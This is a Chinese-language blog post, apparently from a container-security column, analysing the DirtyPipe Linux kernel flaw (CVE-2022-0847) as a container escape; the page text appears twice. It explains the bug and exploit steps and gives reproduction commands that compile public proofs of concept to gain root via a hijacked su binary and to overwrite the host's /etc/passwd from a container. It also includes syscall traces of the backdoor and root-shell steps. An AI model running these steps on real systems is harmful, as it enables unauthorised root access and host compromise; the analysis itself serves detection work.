searchusermenu
  • 发布文章
  • 消息中心
点赞
收藏
评论
分享
原创

容器逃逸漏洞分析 DirtyPipe脏管 CVE-2022-0847

2024-11-18 09:21:51
1
0

容器逃逸漏洞分析 CVE-2022-0847(dirtypipe)

一、漏洞基本信息

条目 详情 备注
发布日期 2022-3-7
CVE-ID CVE-2022-0847
攻击向量 本地
影响范围 Linux内核 [5.15,5.15.25]、Linux内核 [5.16,5.16.11]、Linux内核 [5.8,5.10.102]
修复版本 Linux 内核 >= 5.16.11、Linux 内核 >= 5.15.25、Linux 内核 >= 5.10.102
CVSS 7.8(高危)CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

二、漏洞简介

在 Linux 内核函数 copy_page_to_iter_pipe() 和 push_pipe() 中,如果没有正确初始化新建管道缓冲区结构的“flags”成员,则该值可能会留下上次创建管道残留的值。非特权本地用户可利用此漏洞写入只读文件的页面缓存,从而提升权限。

三、前置知识

pipe:管道

管道是一种进程间通信机制,可以用于连接两个文件描述符(fd),并在两端之间传输数据。

splice:文件与管道间数据拷贝

splice()可以在两个文件描述符之间移动数据,而不需要在内核地址空间和用户地址空间之间进行复制,作用是减小上下文切换的开销(零拷贝)。它将最多len字节的数据从fd1传输到fd2,其中一个文件描述符必须引用管道。

四、漏洞利用路径

  1. 准备工作
    1. 页面(su)原内容保存
    2. 脏管构建1:创建并写满管道(pipe_write),所有pipe_bufferflag 默认初始化为PIPE_BUF_FLAG_CAN_MERGE,此标志告诉内核可以在不强制重写数据的情况下更新页面。
    3. 脏管构建2:清空管道(pipe_read),释放所有pipe_buffer,这样通过splice 系统调用传送文件的时候就会使用原有的初始化过的buf结构,即使用上一步留下的flag。
  2. 页面引用:调用splice(),引用待篡改的页面缓存。(相当于将脏管接到待写页)
  3. 页面篡改:继续向pipe写入内容,由于遗留的PIPE_BUF_FLAG_CAN_MERGE标志,该写入不会创建新的pipe_buffer, 而是直接写入到页面缓存中,完成篡改。
  4. 提权
    1. 创建后门:执行篡改后的su,创建后门(/tmp/sh)。
    2. 页面恢复:将保存的页面原内容依然利用脏管写入。
    3. 提权:执行后门,弹出root shell。

五、漏洞复现和行为数据分析

宿主OS:ubuntu 18.04

metarget版本(提权):

#环境搭建
git clone https://github.com/Metarget/metarget.git && cd metarget
sudo apt update && sudo apt install -y python3-pip
sudo pip3 install -r requirements.txt
./metarget cnv install cve-2022-0847 --verbose

#提权演示
whoami
#ubuntu
cd \~/metarget/writeups\_cnv/kernel-cve-2022-0847/
gcc -o poc poc.c
./poc \`which su\`
whoami
#root

greenhandatsjtu版本(写宿主文件):

启动容器时设置CAP_DAC_READ_SEARCH权限,忽略文件读及目录搜索的 DAC 访问限制,才可以进行shocker攻击。

git clone https://github.com/greenhandatsjtu/CVE-2022-0847-Container-Escape.git && cd CVE-2022-0847-Container-Escape
cp /etc/password . # back up /etc/password
gcc dp.c -o dp
docker run --rm -it -v $(pwd):/exp --cap-add=CAP_DAC_READ_SEARCH ubuntu /exp/dp /etc/passwd 1 ootz: # overwrite /etc/password on host from offset 1 /etc/dp /etc/passwd # dump /etc/passwd on host

行为数据分析

  1. 页面(su)原内容保存

    594622 04:29:51.018858 openat(AT_FDCWD, "/usr/bin/su", O_RDONLY) = 3 <0.000055>
    594622 04:29:51.018968 brk(NULL)        = 0x5601ecc66000 <0.000004>
    594622 04:29:51.018990 brk(0x5601ecc87000) = 0x5601ecc87000 <0.000049>
    594622 04:29:51.019107 lseek(3, 1, SEEK_SET) = 1 <0.000004>
    594622 04:29:51.019125 read(3, "ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@@\0\0\0\0\0\0@"..., 406) = 406 <0.000005>
    594622 04:29:51.019190 close(3)         = 0 <0.000008>
    
  2. 脏管构建1:创建并写满管道(pipe_write),这样所有pipe_bufferflag 默认初始化为PIPE_BUF_FLAG_CAN_MERGE

    104365 08:30:14.729762 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x26), ...}) = 0 <0.000005>
    104365 08:30:14.729784 write(1, "[+] hijacking suid binary..\n", 28) = 28 <0.000558>
    104365 08:30:14.730369 openat(AT_FDCWD, "/usr/bin/su", O_RDONLY) = 3 <0.000009>
    104365 08:30:14.730402 fstat(3, {st_mode=S_IFREG|S_ISUID|0755, st_size=67816, ...}) = 0 <0.000005>
    104365 08:30:14.730424 pipe([4, 5])     = 0 <0.000008>
    104365 08:30:14.730447 fcntl(5, F_GETPIPE_SZ) = 65536 <0.000005>
    104365 08:30:14.730466 write(5, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000009>
    104365 08:30:14.730490 write(5, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000006>
    ...
    104365 08:30:14.730510 write(5, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000006>
    
  3. 脏管构建2:清空管道(pipe_read),释放所有pipe_buffer,这样通过splice 系统调用传送文件的时候就会使用原有的初始化过的buf结构,即使用上一步留下的flag。

    104365 08:30:14.730783 read(4, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000013>
    104365 08:30:14.730812 read(4, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000006>
    ...
    104365 08:30:14.730831 read(4, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000005>
    
  4. 页面引用:调用splice(),将指定偏移量前一个字节拼接到管道中,引用待篡改的页面缓存。

    104365 08:30:14.731082 splice(3, [0], 5, NULL, 1, 0) = 1 <0.000006>
    
  5. 页面篡改:继续向pipe写入内容,由于PIPE\_BUF\_FLAG\_CAN\_MERGE标志,该写入不会创建新的pipe_buffer, 而是直接写入到页面缓存中,完成篡改。

    104365 08:30:14.731102 write(5, "ELF\2\1\1\0\0\0\0\0\0\0\0\0\2\0>\0\1\0\0\0x\0@\0\0\0\0\0@"..., 406) = 406 <0.000004>
    
  6. 提权

    1. 创建后门:执行篡改后的su,创建后门/tmp/sh
    594625 04:29:51.036901 execve("/usr/bin/su", ["/usr/bin/su"], 0x561a0783ab60 /* 18 vars */) = 0 <0.000210>
    594625 04:29:51.037261 open("/tmp/sh", O_WRONLY|O_CREAT|O_TRUNC, 000) = 3 <0.000137>
    594625 04:29:51.037537 write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\2\0>\0\1\0\0\0x\0@\0\0\0\0\0"..., 186) = 186 <0.000105>
    594625 04:29:51.037757 close(3)         = 0 <0.000134>
    594625 04:29:51.038058 chmod("/tmp/sh", 04755) = 0 <0.000103>
    594625 04:29:51.038303 exit(0)          = ?
    
    1. 页面恢复:将保存的原页面内容依然利用脏管写入。
    594622 04:29:51.039382 openat(AT_FDCWD, "/usr/bin/su", O_RDONLY) = 3 <0.000008>
    594622 04:29:51.039414 fstat(3, {st_mode=S_IFREG|S_ISUID|0755, st_size=67816, ...}) = 0 <0.000004>
    594622 04:29:51.039435 pipe([6, 7])     = 0 <0.000008>
    594622 04:29:51.039458 fcntl(7, F_GETPIPE_SZ) = 65536 <0.000004>
    594622 04:29:51.039474 write(7, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000006>
    594622 04:29:51.039496 write(7, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000005>
    ...
    594622 04:29:51.039515 write(7, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000005>
    594622 04:29:51.040027 read(6, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000069>
    594622 04:29:51.040158 read(6, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000005>
    ...
    594622 04:29:51.041245 read(6, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000049>
    594622 04:29:51.041359 splice(3, [0], 7, NULL, 1, 0) = 1 <0.000006>
    594622 04:29:51.041382 write(7, "ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@@\0\0\0\0\0\0@"..., 406) = 406 <0.000009>
    594622 04:29:51.041446 close(3)         = 0 <0.000056>
    
    1. 提权:执行后门,弹出root shell。
    594627 04:29:51.055724 execve("/tmp/sh", ["/tmp/sh"], 0x563ae1a07b48 /* 18 vars */) = 0 <0.000176>
    594627 04:29:51.056034 setuid(0)        = 0 <0.000097>
    594627 04:29:51.056252 setgid(0)        = 0 <0.000098>
    594627 04:29:51.056459 execve("/bin/sh", ["/bin/sh"], 0x7ffd60da59a8 /* 0 vars */) = 0 <0.000166>
    
0条评论
0 / 1000
c****f
2文章数
0粉丝数
c****f
2 文章 | 0 粉丝
c****f
2文章数
0粉丝数
c****f
2 文章 | 0 粉丝
原创

容器逃逸漏洞分析 DirtyPipe脏管 CVE-2022-0847

2024-11-18 09:21:51
1
0

容器逃逸漏洞分析 CVE-2022-0847(dirtypipe)

一、漏洞基本信息

条目 详情 备注
发布日期 2022-3-7
CVE-ID CVE-2022-0847
攻击向量 本地
影响范围 Linux内核 [5.15,5.15.25]、Linux内核 [5.16,5.16.11]、Linux内核 [5.8,5.10.102]
修复版本 Linux 内核 >= 5.16.11、Linux 内核 >= 5.15.25、Linux 内核 >= 5.10.102
CVSS 7.8(高危)CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

二、漏洞简介

在 Linux 内核函数 copy_page_to_iter_pipe() 和 push_pipe() 中,如果没有正确初始化新建管道缓冲区结构的“flags”成员,则该值可能会留下上次创建管道残留的值。非特权本地用户可利用此漏洞写入只读文件的页面缓存,从而提升权限。

三、前置知识

pipe:管道

管道是一种进程间通信机制,可以用于连接两个文件描述符(fd),并在两端之间传输数据。

splice:文件与管道间数据拷贝

splice()可以在两个文件描述符之间移动数据,而不需要在内核地址空间和用户地址空间之间进行复制,作用是减小上下文切换的开销(零拷贝)。它将最多len字节的数据从fd1传输到fd2,其中一个文件描述符必须引用管道。

四、漏洞利用路径

  1. 准备工作
    1. 页面(su)原内容保存
    2. 脏管构建1:创建并写满管道(pipe_write),所有pipe_bufferflag 默认初始化为PIPE_BUF_FLAG_CAN_MERGE,此标志告诉内核可以在不强制重写数据的情况下更新页面。
    3. 脏管构建2:清空管道(pipe_read),释放所有pipe_buffer,这样通过splice 系统调用传送文件的时候就会使用原有的初始化过的buf结构,即使用上一步留下的flag。
  2. 页面引用:调用splice(),引用待篡改的页面缓存。(相当于将脏管接到待写页)
  3. 页面篡改:继续向pipe写入内容,由于遗留的PIPE_BUF_FLAG_CAN_MERGE标志,该写入不会创建新的pipe_buffer, 而是直接写入到页面缓存中,完成篡改。
  4. 提权
    1. 创建后门:执行篡改后的su,创建后门(/tmp/sh)。
    2. 页面恢复:将保存的页面原内容依然利用脏管写入。
    3. 提权:执行后门,弹出root shell。

五、漏洞复现和行为数据分析

宿主OS:ubuntu 18.04

metarget版本(提权):

#环境搭建
git clone https://github.com/Metarget/metarget.git && cd metarget
sudo apt update && sudo apt install -y python3-pip
sudo pip3 install -r requirements.txt
./metarget cnv install cve-2022-0847 --verbose

#提权演示
whoami
#ubuntu
cd \~/metarget/writeups\_cnv/kernel-cve-2022-0847/
gcc -o poc poc.c
./poc \`which su\`
whoami
#root

greenhandatsjtu版本(写宿主文件):

启动容器时设置CAP_DAC_READ_SEARCH权限,忽略文件读及目录搜索的 DAC 访问限制,才可以进行shocker攻击。

git clone https://github.com/greenhandatsjtu/CVE-2022-0847-Container-Escape.git && cd CVE-2022-0847-Container-Escape
cp /etc/password . # back up /etc/password
gcc dp.c -o dp
docker run --rm -it -v $(pwd):/exp --cap-add=CAP_DAC_READ_SEARCH ubuntu /exp/dp /etc/passwd 1 ootz: # overwrite /etc/password on host from offset 1 /etc/dp /etc/passwd # dump /etc/passwd on host

行为数据分析

  1. 页面(su)原内容保存

    594622 04:29:51.018858 openat(AT_FDCWD, "/usr/bin/su", O_RDONLY) = 3 <0.000055>
    594622 04:29:51.018968 brk(NULL)        = 0x5601ecc66000 <0.000004>
    594622 04:29:51.018990 brk(0x5601ecc87000) = 0x5601ecc87000 <0.000049>
    594622 04:29:51.019107 lseek(3, 1, SEEK_SET) = 1 <0.000004>
    594622 04:29:51.019125 read(3, "ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@@\0\0\0\0\0\0@"..., 406) = 406 <0.000005>
    594622 04:29:51.019190 close(3)         = 0 <0.000008>
    
  2. 脏管构建1:创建并写满管道(pipe_write),这样所有pipe_bufferflag 默认初始化为PIPE_BUF_FLAG_CAN_MERGE

    104365 08:30:14.729762 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x26), ...}) = 0 <0.000005>
    104365 08:30:14.729784 write(1, "[+] hijacking suid binary..\n", 28) = 28 <0.000558>
    104365 08:30:14.730369 openat(AT_FDCWD, "/usr/bin/su", O_RDONLY) = 3 <0.000009>
    104365 08:30:14.730402 fstat(3, {st_mode=S_IFREG|S_ISUID|0755, st_size=67816, ...}) = 0 <0.000005>
    104365 08:30:14.730424 pipe([4, 5])     = 0 <0.000008>
    104365 08:30:14.730447 fcntl(5, F_GETPIPE_SZ) = 65536 <0.000005>
    104365 08:30:14.730466 write(5, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000009>
    104365 08:30:14.730490 write(5, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000006>
    ...
    104365 08:30:14.730510 write(5, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000006>
    
  3. 脏管构建2:清空管道(pipe_read),释放所有pipe_buffer,这样通过splice 系统调用传送文件的时候就会使用原有的初始化过的buf结构,即使用上一步留下的flag。

    104365 08:30:14.730783 read(4, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000013>
    104365 08:30:14.730812 read(4, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000006>
    ...
    104365 08:30:14.730831 read(4, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000005>
    
  4. 页面引用:调用splice(),将指定偏移量前一个字节拼接到管道中,引用待篡改的页面缓存。

    104365 08:30:14.731082 splice(3, [0], 5, NULL, 1, 0) = 1 <0.000006>
    
  5. 页面篡改:继续向pipe写入内容,由于PIPE\_BUF\_FLAG\_CAN\_MERGE标志,该写入不会创建新的pipe_buffer, 而是直接写入到页面缓存中,完成篡改。

    104365 08:30:14.731102 write(5, "ELF\2\1\1\0\0\0\0\0\0\0\0\0\2\0>\0\1\0\0\0x\0@\0\0\0\0\0@"..., 406) = 406 <0.000004>
    
  6. 提权

    1. 创建后门:执行篡改后的su,创建后门/tmp/sh
    594625 04:29:51.036901 execve("/usr/bin/su", ["/usr/bin/su"], 0x561a0783ab60 /* 18 vars */) = 0 <0.000210>
    594625 04:29:51.037261 open("/tmp/sh", O_WRONLY|O_CREAT|O_TRUNC, 000) = 3 <0.000137>
    594625 04:29:51.037537 write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\2\0>\0\1\0\0\0x\0@\0\0\0\0\0"..., 186) = 186 <0.000105>
    594625 04:29:51.037757 close(3)         = 0 <0.000134>
    594625 04:29:51.038058 chmod("/tmp/sh", 04755) = 0 <0.000103>
    594625 04:29:51.038303 exit(0)          = ?
    
    1. 页面恢复:将保存的原页面内容依然利用脏管写入。
    594622 04:29:51.039382 openat(AT_FDCWD, "/usr/bin/su", O_RDONLY) = 3 <0.000008>
    594622 04:29:51.039414 fstat(3, {st_mode=S_IFREG|S_ISUID|0755, st_size=67816, ...}) = 0 <0.000004>
    594622 04:29:51.039435 pipe([6, 7])     = 0 <0.000008>
    594622 04:29:51.039458 fcntl(7, F_GETPIPE_SZ) = 65536 <0.000004>
    594622 04:29:51.039474 write(7, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000006>
    594622 04:29:51.039496 write(7, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000005>
    ...
    594622 04:29:51.039515 write(7, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000005>
    594622 04:29:51.040027 read(6, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000069>
    594622 04:29:51.040158 read(6, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000005>
    ...
    594622 04:29:51.041245 read(6, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000049>
    594622 04:29:51.041359 splice(3, [0], 7, NULL, 1, 0) = 1 <0.000006>
    594622 04:29:51.041382 write(7, "ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@@\0\0\0\0\0\0@"..., 406) = 406 <0.000009>
    594622 04:29:51.041446 close(3)         = 0 <0.000056>
    
    1. 提权:执行后门,弹出root shell。
    594627 04:29:51.055724 execve("/tmp/sh", ["/tmp/sh"], 0x563ae1a07b48 /* 18 vars */) = 0 <0.000176>
    594627 04:29:51.056034 setuid(0)        = 0 <0.000097>
    594627 04:29:51.056252 setgid(0)        = 0 <0.000098>
    594627 04:29:51.056459 execve("/bin/sh", ["/bin/sh"], 0x7ffd60da59a8 /* 0 vars */) = 0 <0.000166>
    
文章来自个人专栏
【云】容器安全
2 文章 | 1 订阅
0条评论
0 / 1000
请输入你的评论
0
0